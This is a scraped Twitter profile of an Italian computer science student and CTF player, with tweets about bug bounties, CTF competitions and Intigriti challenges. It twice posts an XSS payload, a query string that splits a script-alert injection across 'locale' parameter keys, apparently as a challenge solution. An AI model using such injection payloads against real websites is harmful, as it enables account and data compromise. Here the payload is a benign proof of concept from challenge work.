ArghgrA

Student Computer Science @UniCamerino
Player CTF with @RubidiCubrik 🇮🇹

[ArghgrA @ArghgrA]

@intigriti XSS
payload:
?locale[">]=1&locale[<s]=1&locale[c]=1&locale[ri]=1&locale[pt]=1&locale[>a]=1&locale[le]=1&locale[rt]=1&locale[(1]=1&locale[)<]=1&locale[/s]=1&locale[cr]=1&locale[ip]=1&locale[t>]=1&locale[<]=1

[ArghgrA @ArghgrA]

@q1uf3ng Could you explain how the payload works?

[ArghgrA @ArghgrA]

@intigriti XSS
payload:
?locale[">]=1&locale[<s]=1&locale[c]=1&locale[ri]=1&locale[pt]=1&locale[>a]=1&locale[le]=1&locale[rt]=1&locale[(1]=1&locale[)<]=1&locale[/s]=1&locale[cr]=1&locale[ip]=1&locale[t>]=1&locale[<]=1

[ArghgrA @ArghgrA]

Stored Xss & RCE via Upload file
https://t.co/wvRG7GBJYb

#BugBounty #Cybersecurity #XSS #RCE

[ArghgrA @ArghgrA]

@40sp3l hi, a few months ago I also tested the same site as you, but I was able to run an xss without using the comment close and the <a> tag

[ArghgrA @ArghgrA]

My first Bug Bounty
https://t.co/1ggt7KYJlx
#BugBounty

[ArghgrA @ArghgrA]

@moyix @GoogleVRP idem, same error

[ArghgrA @ArghgrA]

@sonoclaudio @InfoCert_it @GPDP_IT @_happycactus_ @signorina37H @elimone @alekitto0 @faffa42 @lucabolognini @securityaffairs @informapirata chissà come saranno riusciti a esfiltrare tutti questi dati, qualcuno sa la risposta?

[fibonhack @fibonhack]

Only 5 days left, make sure to register👀

[Olimpiadi Italiane di CyberSicurezza @OliCyberIT]

👾 Aperte le iscrizioni alla nuova edizione di OliCyber organizzate da @CyberSecNatLab. Olimpiadi di Cybersecurity. Non solo un gioco.

👉 https://t.co/VGIqgxzeGy

🗓️ Scadenza: 15 dic 2022

#olicyber #OCIT22 #CyberSecurity

[CyberTeamItaly @CyberTeamItaly]

🚩 TeamItalyCTF! First edition of the CTF Jeopardy organised by @CyberTeamItaly members. Registrations are opened.

🗓 From 7/9 18:00 to 8/9 18:00 (UTC)

🖊 Sign up now on https://t.co/gpqlalUuiH!

#TeamItalyCTF #CTF #cybersecurity

[ArghgrA @ArghgrA]

@reversebrain @reversebrain This qr also works with Verific19 app